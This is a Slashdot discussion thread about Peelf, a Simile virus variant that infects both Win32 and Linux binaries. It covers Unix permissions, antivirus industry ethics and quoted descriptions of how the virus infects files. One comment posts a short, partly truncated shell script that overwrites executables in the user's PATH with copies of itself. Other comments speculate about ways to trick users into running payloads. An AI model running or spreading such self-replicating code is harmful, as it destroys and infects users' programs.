Win32/Linux Cross-Platform Virus 582
An Anonymous Coward writes "Symantec reports on the first virus to infect both ELF and PE binaries on Linux and Win32. "The first Win32/Linux cross-infector, {Win32,Linux}/Peelf, uses two separate routines to carry out the infection on PE and ELF files. This variant of Simile shares a substantial amount of code between the two infection functions, such as the polymorphic/metamorphic engines, the only platform-specific parts being the directory traversal code and the API usage.""
why i love my mac (Score:2, Funny)
Re:why i love my mac (Score:3, Funny)
You mean virues, or software in general?
Re:why i love my mac (Score:2)
Re:why i love my mac (Score:2, Funny)
Actually, on the linux side, Having an inherently more secure OS with almost no viruses out for it helps too... But nothing is totally secure.
Re:why i love my mac (Score:4, Funny)
This one is not sexually transmitted.
Re:why i love my mac (Score:2)
Re:why i love my mac (Score:2, Funny)
Yes, it appears that virus' only infect computers. Other household appliances, such as refrigerators and your Photoshop machines, are unaffected.
Re:why i love my mac (Score:2)
One more reason... (Score:3, Redundant)
Re:One more reason... (Score:4, Insightful)
If you dual boot, you're double-screwed (Score:2)
The thing is that the majority of LInux users (I think) are dual booters, so this would give the virus a prime target to hit.
nonsense (Score:2)
Re:One more reason... (Score:4, Informative)
Re:One more reason... (Score:5, Insightful)
There is no difference as far as I'm concerned as losing my entire system or losing my home directory. You're right that at least if you don't use the root account to catch the virus only your own files would be destroyed but really the files in my home directory are the only files that I care about getting destroyed.
It only takes me about 10-15 minutes the get my system back up if I had to reinstall. It's all my personal files that can't be replaced that would make the experience traumatic.
--
Garett
Re:One more reason... (Score:3, Insightful)
typical Linux user
The problem here is that virii are spread the most by the least knowledgable. I've seen people "try out that Lye-nucks thing" and just cruise around as root. The don't know that it's insecure, just as they don't know not to open up attachments from friends. A typical Linux user may limit his or her damage, but a newbie can do a hell of a lot more damage using Linux than using MacOS.
Not Necessarily (Score:5, Informative)
When an infected file is run, it infects other Win32 files on the system. The virus prefers to hit applications written in the C language and is more likely to hit OS files then normal applications. This virus carries a string "Metaphor v1 by The Mental Driller/29A". It is not visible in infected files but this string (with the lettercase changed randomly) is displayed on the 17th of March, June, September and December:
On the 14th of May on systems with Hebrew character support the virus will display a message box saying "Free Palestine!".
This virus is polymorphic and uses entry-point obfuscation technique. When infecting, the virus replaces all "ExitProcess" calls in the host file with obfuscated jumps on a polymorphic decryptor. The obfuscated polymorphic jump, the polymorphic decryptor, and the encrypted body of the virus can be anywhere in the host file which makes detection a difficult task.
Although detection is complex, AVERT has decided to include detection using the ActiveDAT technology in the scanning engine and DATs. As a consequence, some users may notice a slight performance decrease after updating to 4189 DATs. This is a necessary tradeoff for obtaining detection of a known "in the wild" virus. To allow users some flexibility, AVERT has included detection for this virus ONLY when Program Heuristics are turned on. AVERT will continue to work on improving the detection of this virus to reduce the impact users may see. Improvements will eventually be noticed in future DATs.
The sample of this virus was sent on 14 Feb 2002 to fourteen different AV companies by the virus author. In about 2 weeks the virus sample was also circulated in an electronic magazine distributed by 29A virus writing group (version 1b). A slight modification of the same virus was created from the published ASM sources and it carries a different string ("Deutsche Telekom by Energy 2002*g**") displayed on the 18th of March, June, September and December:
Infects Win32 applications with ".EXE" extension only in folders not starting with letter "W". The virus also avoids programs with a letter "V" in the name or starting with "F-", "PA", "SC", "DR" and "NO". However it lists all available network drives and looks for potential writeable targets there. After the infection date and timestamp of files do not change.
In most targets the virus wipes out the relocation section of the host file. Files can still run but that makes proper cleaning impossible.
Re:One more reason... (Score:3, Interesting)
Why, because you are likely to get the virus through a bug. If the virus can find an exploit to penetrate your system, then it's very likely that it will also find the local root exploit to do anything it wants.
You really need to close all the entrances.
Prophecy: look 6 months forward and we will see virus/worm that, after entering your system, scans it for weak points, after that it downloads the suitable root-exploit just for your box, runs it and starts the bugparty. At that point, lazy maintainers will get a cure for their laziness.
Re:One more reason... (Score:2)
Re:One more reason... (Score:2, Informative)
You mean setuid(root). Chroot means the root-directory of the software is changed, in effect putting it in a rather secure sandbox...
If one of these hundreds of apps were to become infected (chances are fair to good), than you can kiss your entire system good-bye.
No, they aren't. If the virus manages to infect one of these binaries, it already *has* root, so it can infect any other binary, too. Basically, it depends on if the virus is able to execute a local root compromise, which is easier than remote, but not *that* easy.
Regards, Ulli
Re:One more reason... (Score:2)
Now if you're logged in as root and you download & run the infected file as root, then any of your applications (incl. the suid which you are refering to) will potentially spread the virus further, but that's already beyond the point of initial infection.
Re:One more reason... (Score:4, Interesting)
On my debian system:
# find / -perm +u+s -uid 0 -ls | wc -l
27
And on Redhat 7.3, 42
Hundreds. Bah. Please do some research before you spread FUD.
Chroot apps are heavilly scrutinized for security issues. Many even give up root permission after doing whatever they absolutely need to do as root.
You would have to find a chroot app that had an exploitable buffer overflow problem to begin with. The virus would have to specifically be written to exploit that particular bug in that particular application. This is non-trivial.
From Semantec: "So far Symantec has not received any submissions of this virus from customers."
So how did symantec find the virus? Who had it? How did they get it? How is it spreading?
Many people have suspected for YEARS that virus companies manufacture viruses to sell their products. I'm not saying they are, but this smells VERY fishy. I'd like some answers.
Re:One more reason... (Score:2)
Re:One more reason... (Score:2)
find / -type f -user 0 -perm +4000
and if you want to reduce your exposure, chmod u-s the ones that you don't need to be SUID.
Re:One more reason... (Score:2, Offtopic)
So they guy didn't know and he was ignorant. Ignorace != stupidity and it was rude of you to call him a fucking retard.
I'm sorry but in my eyes you're the fucking retard.
--
Garett
Re:One more reason... (Score:2, Offtopic)
ignorance does equality stupidity
BTW, give your posts a once-over in discussions where you're calling other folks retards.
Good thing this can't infect Linux! (Score:5, Funny)
Re:Good thing this can't infect Linux! (Score:2, Funny)
Re:Good thing this can't infect Linux! (Score:5, Funny)
The virus would also need to have it's source code added, or the source would need to be made available elsewhere, e.g. the authors homepage.
Hmm, thats not the first PE/ELF virus. (Score:2, Informative)
For more information see:
http://www.europe.f-secure.com/v-descs/lind
More proof (Score:4, Insightful)
I think that this was cooked up in Symantec's labs in order to scare people & possibly serve as an ad for their software, especially if they have a "solution" that runs on Linux.
Re:More proof (Score:4, Insightful)
I think you've got a good point. To quote Symantec:
"So far Symantec has not received any submissions of this virus from customers."
For any OS, there will always be code which, when run with the appropriate privileges, can cause some damage. That's why viruses are mainly a social problem. Just to prove how pointless this all is, here's my first simple-minded attempt a writing a Linux virus:
#!/bin/sh
(
for file in `find \`echo $PATH | sed 's/:/
if [ -x $file -a -w `dirname $file` -a ! -e `dirname $file`/.`basename $file`.orig ] ; then
mv -f $file `dirname $file`/.`basename $file`.orig && cp -f $0 $file
fi
done
) >
echo '1 4m 4 rh347 h4x0r! ph33r my b45H s|<|11z!'
[ -x `dirname $0`/.`basename $0`.orig ] && \
exec `dirname $0`/.`basename $0`.orig "$@"
ta-da! a trivial example of a "virus" that "infects" all executables in a user's PATH, and works even on non-x86 machines and UNIX machines with shellutils installed (with a little sed work, even that requirement could be removed).
What does this prove? Nothing. Neither does this Simile virus, until it starts mailing itself to people and popular Linux email clients start automatically executing attachments in the preview pane.
Of course, with all the idiots I see sending out mail as root, maybe this isn't too far off.
Re:More proof (Score:2)
That's the most paranoid thing I've seen here. Do you really think Symantec is going to risk its entire profitable operation just to piss off some self-important Linux users? I seriously doubt an organization that large is capable of keeping such secrets especially when it would be such a great story to sell to the media.
If we're going to be calling out the chicken-littles well why was this posted when its threat level according to symantec is low? I think this has more of academic interest than anything else. If you're going to blame anyone, blame slashdot for posting a low-threat virus. Symantec is doing its job and I see no wrong doing on their part. I also don't think slashdot is doing any wrong, its really the invetible conspiracy theorists like yourself who are putting a negative spin here.
There's no reason for any anti-virus vendor to bother starting their own viruses. There are just too many kiddies willing to do it for free. Ironically, the DIY computing culture is also notorious for defending all sorts of exploratory cracking for the sake of the thrill or to see if it can be done. If you have conspirators I'm sure they're from Linux's own backyard and probably not from Symantec's labs.
Yep (Score:2)
Which people ask me what anti-virus software to used. I tell them not to click anything they're not sure about. Especially file attachments with a 'X' or 'V' in the file extention.
Don't use outlook
& make sure 'veiw file extensions' or whatever is enabled in Windows explorer's view menu options. So they arn't tricked by a holidaypic.jpg.ocx or whatever attachment
This is great news! (Score:5, Funny)
Me: "Dude, you should really try Linux! It's fast,
it's free, it's really secure - and, best of
all, you get all the source code, so you can
see how it -really- works, and even contribute
your own code, if you want."
Dude: "Is there antivirus software for Linux?"
Me: "Well, no - Linux doesn't have viruses,
per se, so there's no need for antivirus
software!"
Dude: "My bosses won't let us run any boxes
which don't have antivirus software
installed. Let me know when I can buy
antivirus software for Linux."
So, now that we have virii on Linux, we'll soon have antivirus software, and I can show my friends yet another way in which Linux has caught up with Windows!
Re:This is great news! (Score:4, Interesting)
Nice to run on Linux mailservers.
Re:This is great news! (Score:3, Informative)
Re:This is great news! (Score:2)
I'm sure none of the developers would mind selling you a copy of their GPLed software, if you really had an urge to pay for it. *grin*
Re:This is great news! (Score:2)
Re:This is great news! (Score:3, Informative)
Re:This is great news! (Score:3, Informative)
http://www.antivirus.com/download/ [antivirus.com]
Re:This is great news! (Score:2)
I'm not claiming that you he's right and that you should be running antivirus software, but I can at least see where your "dude" was coming from.
Re:This is great news! (Score:2)
Virus protection software just isnt enough. Disallowing any form of executable attachments (including any and all forms of documents that can or do support macro languages), and securing systems with privilidge based access to executables will get you much more security. Of course you'll have to keep up good standard practices of minimum running services and frequent patching too.
Re:This is great news! (Score:2, Informative)
for example good ones can be bought at
www.kaspersky.com
Re:This is great news! (Score:2)
Otherwise the only difference between a virus clobbering you as root or as a user is that you likely lose n users data as root, and likely only one if it's a user. Yes, that means you shouldn't run everything as root, but it's the *data* that's important, not the system. Ask your boss whether he cares more about needing to have IS reinstall his machine, or that he might lose all his personal data from it.
Linux get's (Score:4, Funny)
Not the first (Score:5, Informative)
It is the first to use pretty much the same injection code routines for both, though. The previous virus I referenced had two separate infection routines for PE and ELF files.
Another excuse for AV companies to make money (Score:2)
Nonetheless you are encouraged to update your virus definition files to the latest and greatest. And for you who don't have an anti-virus software yet, this was the subliminal message in the announcement that you need to buy one !
Two Sided Sword (Score:5, Funny)
"virus" requires the following dependancies
libinfect.so
libcrash.so
please check the path and filenames and try again
[root@bigassopendomain
x86 Platforms Only? (Score:4, Funny)
Well, looks like this does not affect those using Linux on PowerPC, Sun, or any of the other platforms supported.
On a lighter note, if this virus were open source it would compile to the other platforms. Someone should post a link to the Sourceforge page, with links to source tarballs as well as Debian and RPM packages.
So, how the infection... (Score:2, Insightful)
Infected win executables run on windows, ELF executables run under linux.. I don't think there are that many programs crossing the wall between the two platforms.
But probably i'm forgetting about wine, vmware and dual-boot machines
Re:So, how the infection... (Score:2)
This thing violates the GNU licence! (Score:2, Funny)
Where can I download the source?!?
Source? (Score:2)
So far Symantec has not received any submissions of this virus from customers.
From this I infer that the virus was not found in the wild. So where from, exactly? I'm thoroughly confused, this makes no sense.
Found this (Score:4, Informative)
btw the linux version has been known about for a few weeks now according to their dates.
but anyways when the original variant came out in February they state...
The sample of this virus was sent on 14 Feb 2002 to fourteen different AV companies by the virus author. In about 2 weeks the virus sample was also circulated in an electronic magazine distributed by 29A virus writing group (version 1b).
lots of info about what it actually does to windows machines there, but almost nothing about what it does on Linux
So... (Score:2, Funny)
how to infect your linux box (Score:5, Informative)
The reason that it's hard to infect a Linux (/Unix/anything with a decient permission structure) system is that hardly anyone runs daily activities as root and only updates their
The virus is "kinda neat" as far as it's ability to infect multiple platforms and avoid detection, but is really "no big deal" to most systems out there. Windoze(tm) users get viruses sent through email (usually via worms) that self execute when they're opened. This infects files that they have write permission to (usually all of them since 9x boxes have no permission structure and most users on NT systems are run in the Administrator's group) and causes system havoc. Since no Linux mail readers that I know of will execute binaries without at least asking, the user would have to specifically download the binary and run it. At that point, all I have to say is "duh".
So how do you infect your Linux box? On purpose...with a lot of effort. How does this effect the rest of us?
*pause* *giggles* </Bubbles>
--
Mike Nugent
Re:how to infect your linux box (Score:3, Insightful)
There is one distribution where users are always logged in as root. It is called Lindows. In one of the reviews (search old articles on /.) they were actually able to run Outlook viruses and other Microsoft transmitted diseases on Lindows!
But yeah, you are exactly right about security of Unix vs. Windows. On Unix, regular users are simply incapable of infecting the system even if they wanted to. Windows, however, is stuck in the single-user mentality. It's really a shame cause NT does have filesystem-level security and theoretically, it could be just as secure as Unix. The problem is that most applications *expect* to have complete access to the system, making a locked-down NT largely useless. Everywhere I worked, all the users have Administrator access on their local machine, and always run executable attachments (well, the ones that don't execute automatically that is :-)
It's called a buffer overflow (Score:3, Informative)
A buffer overflow vulnerability [securityfocus.com] exists in the popular mail client Pine 4.21 (and possibly earlier versions), relating to the function which regularly checks for incoming email.
The real concern here is that this requires no user interaction to exploit.. a target need only be using a vulnerable version of pine. The overflow occurs when the user recieves new email. While typically not yielding root privileges (unless root reads email with pine AS root) this can be used by a remote, anonymous attacker to gain local access to the target host.
Cool! (Score:5, Interesting)
Finally software writers get it right. (Score:5, Funny)
I praise this virus writer for releasing Windows and Linux versions of the software simultaneously. If only other companies would follow their lead.
I'm sure, somewhere... (Score:5, Funny)
A True Test (Score:4, Insightful)
A lot of people have said Linux has fewer viruses than Windows only because Linux isn't as widely used... Well, this is the chance to do some comparisons. How devastating is the cross-platform virus to each system, and how fast does it spread on each?
Also note that it's a virus, not a security hole or flaw in the system - this doesn't make Linux less secure like a Melissa-type problem that takes advantage of holes made by one company's stupid software bundling decisions.
here's a scary thought... (Score:5, Insightful)
Re:here's a scary thought... (Score:2)
~~~
Freakin' Genius (Score:3, Interesting)
Kinda scary. Next time you're in linux, it connects to somewhere over the net telling the author another box has been rooted and voila, he ownz you.
Kinda a good reason not to run Windows in dual boot mode I'd say.
There's some preemptive stuff you can do with this though.. Have a kernel module (possibly compiled in) that does checksums all your major binaries before booting and warns you when they've changed. Of course, the virus has total kernel access too, so this may not be effective if the author planned for it.
Kudos (Score:2)
The whinning security-experts will never see the beauty in this. A polymorphic engine?
when was the last time there was a real polymorphic virus? and a cross-platform one at that.
Another kudos flies to "the whale" aka "motherfish". The first polymorphic virus, EVER.
When will the patches be out? (Score:4, Insightful)
Proof of Concept to me... (Score:3, Informative)
Of course, you could expect that. Basically, a virus relies on just one thing: privileges. Privileges means the possibility to mess other programs up. And because there are so much Windows virusses compared to other OS-es, it's easy to see Windows handles rights... differently... than a secure OS
I don't think Linux, or UNIX viruses in general, will become a real threat. As long as you use your brain and don't do everything as root (as about every guide warns you against anyway), you'd be rather safe. Can't mess up stuff without the rights to do so.
Do antivirus companies write viruses? No. (Score:5, Informative)
First, I'll explain who I am. I'm Alan Solomon, I'm a programmer, I designed and coded the engine in Dr Solomon's Antivirus, that engine is now also used in the McAfee (Network Associates) scanner (although I'm sure that by now it's somewhat different from the engine I wrote).
I worked in the AV world from 1988 to 1998. I'm doing other stuff now, I don't have any ownership in any antivirus companies. Also, caveat, I've been out of this business for a few years, so my knowledge-state isn't current. And, of course, I really can only speak for myself, and the company that bore my name. I can't really speak for other companies.
I used to get asked "Do antivirus companies write viruses?" a lot. It is, of course, a very insulting question, like asking firemen if they start fires, or dentists if they're the cause of tooth decay. However, I always tried to contain my irritation at the insult (on account of my guess that most people asking me this, don't realise it's an insult) and the answer is "No."
1. It's unethical. But I guess if you believe that the antivirus folks are a bunch of unethical scroats, that's not a very convincing reason. Actually, the technical folks in the AV industry have to be *very* ethical. Because unethical ones tend not to be accepted by the consensus, and thereby lose a crucial source of information exchange.
2. It's illegal (actually criminal, virus authors have been put in prison for this. Chris Pile (the "Black Baron") got 18 months, for example). And you can get caught (ask Pile). If you think a company could ask a programmer to write a virus, and hope that no-one else in the company would know about this, and that there's no risk of jail - think again. You have to be *really stupid* to write a virus when you're not able to guarantee anonymity. Of course, you have to be pretty stupid to write a virus at all. By the way, 99% of the viruses that I analysed were really crudely made; some didn't even work at all.
3. There's no point. Kids all over the world are writing viruses at no cost, providing an ample supply of new stuff.
4. It takes too long. I'd estimate that the Simile virus, as described, took months and months to develop. It took McAfee two weeks to do the detector; Symantec about the same. So, if the AV companies had to write the viruses as well as do the Antivirus, they'd need 10 or 20 times as many programmers. And you'd have to keep that lot a deadly secret, of course.
You can't imagine what it's like in a virus lab. There's N new viruses per month, where N isn't a fixed number. And there's M people to do the analysis and coding, and M is never enough. It was like being on a treadmill, and you know that the treadmill is getting faster all the time. Write new viruses?
So why do antivirus companies sometimes see viruses before any users? Simple. The virus authors send them. The first time this happened was over a decade ago; it surprised me then. And we thought it through at that time. Do we just delete it, and pretend it didn't happen? If you've been sent a virus, and you think you're the only person in the world who has a copy of that virus, you can destroy it, and the world has one virus less. But if there's a chance that the virus author has, or will, release it in the wild, you have to build detection for that virus.
Also, you have to give a copy to the other antivirus companies. Because we programmers made an agreement between ourselves that we wouildn't force users to buy three different products to detect three different viruses, that we wouldn't compete on the basis of "we can detect X virus and no-one else can". We'll compete on price, speed, accuracy, tech support, etc etc, but not by restriction of virus samples between trustworthy AV companies.
So, once the virus author gives it to one AV company, all the AV companies have a sample (shortly after) and that virus might not be in the wild, and might never get into the wild. But you can't be sure. For this virus, we read that the virus author sent it to 14 AV companies.
There's a separation in AV companies between the programmers, who do the virus analysis and coding, and the marketroids, who do the, uh, marketing. The marketroids are constantly trying to persuade people to buy AV software, the programmers constantly trying to hold them in some degree of responsible check. The progammers do have a degree of control, via mechanisms that we put in place a decade ago, but it's impossible to persuade anyone that when a new and technically interesting virus comes along, that people should not be told. You really can't, and shouldn't, try to keep a new and technically interesting virus, a secret. Of course, then the media get their paws on it, and blow up a scarestorm. How do we stop that? I don't think we can.
I haven't seen or analysed this virus, but from what I've read, it does look A) technically interesting, and B) a complete pig to design detection for (detection means, you always spot the virus when it's there, and you never give a false alarm when it isn't). This virus is technically interesting because it's cross-platform. And it's a complete pig to detect because B.1) it's polymorphic, meaning if you put several samples side by side, there isn't any byte-string that you can be sure will be in all of them, B.2) it's metamorphic (meaning, it's horribly horribly polymorphic, even after you decrypt it you don't have any constant byte-string) and B.3) entry-point obfuscation (which means you don't even know where to start looking for the virus, all you know is that it might be somewhere in the file).
The fact that the AVERT folks (McAfee) have admitted that this one virus will cause "a slight performance decrease" in the virus scanner, means that this is a significant virus; pretty much every virus causes a near-zero impact on scanning speed. I'd guess that "ActiveDAT technology" means "we've encoded some executable code in the DAT file which the scanner will run". In other words, they had to write a subroutine specifically for this virus.
That's something that you don't expect to do more than once every couple of years or so.
Next - can viruses infect Unix, despite the unix security system?
Yes.
First, I'd point out that Fred Cohen's doctoral thesis on viruses in 1986, was done using unix boxes. Viruses do not break system security. They infect wherever the system security allows them to, and that's sufficient for them to spread. I'm not expecting a sudden wave of infections on Linux boxes, but please don't think that viruses cannot work on Linux.
One problem, is that the distinction between an executable and a data file is very grey. Try this simple experiment. Take a simple perl script, test.pl, and change the permissions to 400. Now try to run it. Unix security stops you. Now try running "perl test.pl", and it will run fine.
And think about macros in documents. They will run even though the document has non-executable permissions.
See, it doesn't matter that you can't infect ls or ps or df. All it takes is for you to be able to infect your own user-written stuff.
And by the way, you can infect ls and ps and df. Every now and then, I log in as root, to do some maintenance-type thing, or install something. And while I'm root, if I run a virus-infected program, then the virus has root privilege, and can infect ls and ps and df and anything else it wants to.
OK, so now we've established that you can infect your own software, let's consider damage. A Linux virus will be prevented from deleting the system files, or from formatting the hard disk, by the system. But since it's running with the same privilege that I (as an ordinary user) has, it has the same read, write and delete access to my data files that I have. And, of course, my data files are the only files with real value on the computer. The Linux system itself can be reinstalled in minutes.
I've gone on too long already. I better stop before I write another book.
Re:Do antivirus companies write viruses? No. (Score:4, Interesting)
And by the way, you can infect ls and ps and df. Every now and then, I log in as root, to do some maintenance-type thing, or install something. And while I'm root, if I run a virus-infected program, then the virus has root privilege, and can infect ls and ps and df and anything else it wants to.
This does ignore one trait of Unix users, though. Normally I run as a regular user, and I don't have permissions to write to system files or root's personal files. All I can infect is my own, and all my executables live below my home directory. When I su to root, I have things set so that the path automatically gets reset to the system defaults which do not include anything under home directories and most emphatically doesn't include the current directory. This means that, as root, I can't run any of the files that might have been infected by a virus run by any regular user without jumping through some hoops first (which I'm unlikely to do exactly because they're dangerous and unneccesary). This vastly reduces the ability of a virus to spread across the system. Not eliminates, I can always do something stupid, but vastly reduces.
A virus can destroy my data files, but that's why backups were invented. At worst I lose a day or so's worth of work, whatever was done since the last backup. The new generation may be different, but the older of us view backups as somewhere between a religion and an obsession. This should be system-independent, really, and in this day of cheap CD burners and large-capacity Zip and Orb drives and such there's no excuse.
Re:Do antivirus companies write viruses? No. (Score:5, Insightful)
At worst?
Destroying data files isn't what you should worry about; as you pointed out, that's easy to fix.
Far more worrying is a virus that makes minor changes to your data files. And how long will it be before you notice? And how old a backup will you restore?
Re:Do antivirus companies write viruses? No. (Score:5, Interesting)
Now, my question: I still don't understand how a virus could get widespread on Unix. A worm, yes, but not a virus (eg, the Morris worm and that redhat LPRng thing a year ago).
I agree that if I run an infected executable as root, I'm screwed. I'll even say that if I run an infected executable under my regular user account, I'm equally screwed because it's my data that's important, not the system (as you point out).
However - here's the big difference - how am I going to end up running an untrusted executable? My mail client never runs untrusted code. In fact, if someone sends me an elf binary, I have to go through several steps in order to save it, chmod it and then run it from a terminal. In Windows, you can get emailed a .exe attachment and you can double-click on it and it runs. This is where that lack of distinction between programs and data actually helps: nothing is a program until I decide it's a program. When I download a perl script using netscape, it will first get 0644 permissions, so it won't be run via the hash-bang mechanism even if it's in my PATH and it won't be run by "perl script.pl" unless I type that into a terminal. If I do something stupid, like making netscape's handler for .pl files "perl %s", then, yes, I'm in trouble, but the default configuration for netscape does not use any interpreters.
Basically, my point is that I have to go through some trouble to intentionally run a program downloaded off the 'net, which makes it unlikely that I'm going to run a program unintentionally. As for stuff that I run intentionally, those would be source tarballs and the occasional binary executable install program. For these, I just have to trust the origin of the program, but I get to make that decision.
About the only thing I'm worried about virus-wise is that if some closed-source program like Realplayer has a method for embedding executable code in audio streams, or if AOL's instant messenger program embeds commands in its chat protocol. This is the confusing of data and programs that you mention. Another example would be emacs's auto-execution features. For example, you can add this to the bottom of a file:
This tells emacs, vi and vim to use four-space tabs. Now, emacs is a full programming language, so if one could embed arbitrary lisp forms in this manner, this would cause problems. However, the emacs people already thought of this, so it won't work.Another thing that scares me is auto-update features for binaries. For example, if Realplayer includes an auto-update feature, someone can hijack their servers so my next auto-update contains some new "features." But then, if someone hijacks Real's domain, they can just change the binaries I initially downloaded intentionally. I don't see how a virus scanner could help me out here as anyone who does this is likely to write their own little program in C or assembly.
I'm not familiar with the state-of-the-art in virus scanners, but I can think of a number of ways to obfuscate arguments to system calls, or even encrypt the code that performs system calls and do it all without using libc - I don't see how any heuristic approach could differentiate a rootkit from an media player installation program. Perhaps a virus scanner could detect the popular rootkits and the popular encryption methodologies, but how it's going to tell that the "unlink" system call called with "getenv(HOME) /.realpayer" is OK but "unlink getenv(HOME)" is not OK? Especially if the arguments are not static strings but are put togehter in some fashion and the code for the system calls is taken from .data, copied to the stack, unencrypted using an algorithm I just made up and then jumped to (and the target for the jump is calculated using some complex formula, so you can't search for simple jumps into stack). And this is all off the top of my head - I've never even written any code that runs on the stack. My point is that if someone is knowledgeable enough to break into a server I trust, they may be knowledgeable enough to write a program that bypasses a virus scanner. And if this is the case, why even mess with a virus which attaches itself to other programs instead of installing a rootkit and sending off my IP somewhere? It doesn't make much sense to me.
There are plenty of unix security issues that keep me on my toes, but these involve buffer overflows in network daemons and setuid programs, poorly written perl cgis and php scripts, firewall scripts, tripwire configurations, etc. - I'm not worried about viruses. The distribution mechanisms that virus kiddies use just don't exist in Linux.
Re:Do antivirus companies write viruses? No. (Score:5, Insightful)
To most people, there's no difference whatsoever.
To AV folks, a worm is just a particular subset of the class of viruses.
Klez, the number one virus today, is a worm. I haven't checked the numbers, but right now, I'm guessing that email accounts for 99% of virus (i.e., worm) transmission. And I'd guess that the majority of in-the-wild viruses today, are worms.
How could a virus get widespread on Unix? First, you have to drop the assumption that all Unix users are sophisticated
the average user today.
And when Mr Average User is running his point-and-click email system on Gnome, and a known and trusted friend (spoofed address) sends him "Funny Joke" or "Useful Program" the likelihood of him clicking on it is just as great whatever OS he's running.
OK, clicking on it won't work, it's 0644. Or will it be? And does it matter if it's 0644, maybe it can still get executed?
I haven't tried to write a virus (see my original posting), but you can be sure that whenever AV folks get together and have a few beers (beer is crucial to the AV industry) one of the subjects that comes up is "what if?". And we talk about techniques for writing interesting and difficult-to-handle viruses. This speculation is useful, of course, it makes us think ahead. Well, that's how it was a few years ago, I guess it's the same now.
So, let's speculate a little (and I haven't tested any of these ideas with any mailers or Linux UIs).
What if you emailed a tar file, and the mailer is set to untar it (AOL has a neat feature, when someone receives a zip file, AOL automatically unzips it)? Now you have a 755 file, right? User executable - now all you need to do is persuade the user to click on it, which has never been a difficulty. "Click here".
Or how about your suggestion. Persuade the user to open a terminal window and type perl funnyjoke. Mr Average User really doesn't understand the consequences of doing that, especially when the original email came from a trusted source (or so he thought). It doesn't feel to him like he's bypassing a security system. I mean, what kind of security system is it that can be bypassed so easily?
Or how about this. In the user's home directory, there's
The distinction between executable and non-executable isn't as black and white as one might have thought.
Now consider Word (and Office in general). A lot of people have opined that the non-existence of a good Linux Word-compatible program is one of the barriers to Linux acceptance in the corporate world. So, suppose someone made such a clone. Now you have the whole macro-execution thing to worry about. Users get emailed a document written in Word for Windows; the macros also work under Linux, because the platform is Word, not Windows or Linux. Word for Windows macros work just fine on Word for Mac (at least, they did a few years ago, things might have changed since I was current, but I doubt it).
And Jane User has write access to all her own documents. And then emails one to a colleague
Now, what about us sophisticated folks, how could we get hit by a virus?
Well, I don't know about you, but when I download and compile a tarball, I don't actually read through megabytes of source code looking for a self-replicator. I trust the source. I guess almost everyone does the same. And what is the source? Well, I trust RedHat CDs, I trust the Red Hat web site almost as much (assuming no sneaky
DNS spoofing
OK, so the RedHat site is OK, but I also go to DaveCentral, and Freshmeat, and SourceForge, and the CGI Resource, and I follow links from there to the web site that the software came from
In other words, I get software from *all over*, and I'd guess that other folks do too.
And your point is that *you* get to make the decision about who to trust; my point is that Mr Average User gets that *badly* wrong, and I will too, sometimes. It's a balance. I *really want* this program that synchronises my system clocks, and the site I got it from certainly looks OK, I mean, all the words are spelled pretty much right and there's not a single "31334" there.
And we all know, you can't have a virus on Linux, so I don't actually have to be the least bit careful, right? Wrong.
"I'm not worried about viruses"
I agree, you don't have to be worried. But I'd suggest that you be at least a little bit *careful*.
So, why should you care if Mr Average user hoses his data?
A) because you're his tech support person, and you're the one he'll complain to
B) because he's now sending worms to everyone else on the subnet, because that's that this worm does
C) because some worms choose a random file to mail out, and that can be *really embarrassing*.
On your final point about virus scanners; you're assuming that a heuristic searches for unlink; I doubt if any heuristics do that. I personally never wrote a heuristic (it wasn't needed when I was in the game), but I know folks who wrote the ones that are in scanners that are in very common use today, and I remember one of them telling me about one of the heuristics in the scanner for Word viruses, and it was looking for something I'd never heard of, that was to do with copying macros. You don't look for the damage routine, you look for the self-copying routine. And there's probably a lot more on heuristics; like I said, I never wrote one, so I don't know.
It is *trivially easy* to write a virus that today's scanners can't detect. A scanner is looking for a particular bunch of things; all you need to do is keep changing your virus until the scanner doesn't detect it any more.
And you don't need to be knowledgable to write a virus. A virus is just a program that copies itself. You could write that in perl in not many minutes. Add the code to look for another
Today, there isn't a significant virus problem in Linux. I hope it stays that way.
Re:Do antivirus companies write viruses? No. (Score:5, Funny)
True story: My dentist, when I was a kid, would give out lollipops. Pure sugar, artificially-colored, decay-inducing lollipops. Swear to God.
Firemen, too. (Score:4, Interesting)
True story: My dentist, when I was a kid, would give out lollipops. Pure sugar, artificially-colored, decay-inducing lollipops. Swear to God.
Also: More than one fire department has been caught setting fires to put out. (It's especially prevalant among volunteer fire departments, which are often composed of people who enjoy playing with fires.)
Re:Do antivirus companies write viruses? No. (Score:3, Insightful)
Sure, like the final length of a virus reflects its complexity or difficulty at all. Ever enter, or even hear about, the obfuscated C contest? Getting a functional program in a small footprint is generally harder than producing a bloated monstrosity.
Just ask Microsoft.
Now if only MS would release Outlook for Linux... (Score:3, Insightful)
so can we modify this virus to do some good? (Score:3, Interesting)
99.997% of all virii spread because the virus writers know that the end users are dumb as a box of rocks... hell, how many times have we had email spread viruses, and people STILL open attachments without a thought.. (Wow dave's sending me nude pictures of his wife again!)
the only way to stop virus attacks are to either kill all the users (I wish!) or disable the dangerous options in the software they are using.
only then will we stop the virus problems.
Re:Use the source Luke! (Score:5, Insightful)
Grabbing source and make installing it is about the same as grabbing a binary, as far as security goes. You just don't know what's in there.
Re:Use the source Luke! (Score:2)
Re:Use the source Luke! (Score:2)
With linux on the other hand, I know that after a make install and spending 6 hours tweaking the makefile that I don't notice the terms and conds flashing on my screen 100 times, I just regard it as 75Hz monitor flicker. After such an arduous install I'm not even going to notice a kernel panic! Now as for checking >10,000 lines of C++ piped into Java piped into a 100,000 line Perl script... *Somehow* I don't think even Linus would read it all.
Pop quiz hotshot - what if I hack into redhat.com and change one line in the depths of the linux kernel in the distro file to open up port 7876 whenever (systemtime mod 1000)==0 ? Who'd notice?
Re:Use the source Luke! (Score:3, Insightful)
I don't either, but the mere fact that the source code is available makes the author trustworthy in my opinion. The mindset of OSS developers is to help out and show off (I should know, as I am one). The last thing a free software author would ever do is try to compromise your system. Especially if you're trying to build a reputation, why ruin it? Do you honestly think, for example, that David Faure of KDE would put something harmful into the next release? Or Linus would try to slip something devastating into the kernel? I would bet money this would never happen.
These developers work their asses off for the community and keep their code open. No need for me to personally read any of it. They already get 10x my trust by their actions.
Re:Use the source Luke! (Score:3, Insightful)
True for round one. Most everybody.
Round two. There's always somebody that's gotta do things differently, and the nasty runs into some kind of incompatability. A few paranoid souls run diff on previous versions. Any hint of something nasty and the nasty gets a swarm of unwanted attention.
Round three. However it happened, somebody is gonna make pretty damn sure it doesn't happen again, kinda embarrasing.
Re:Use the source Luke! (Score:3, Insightful)
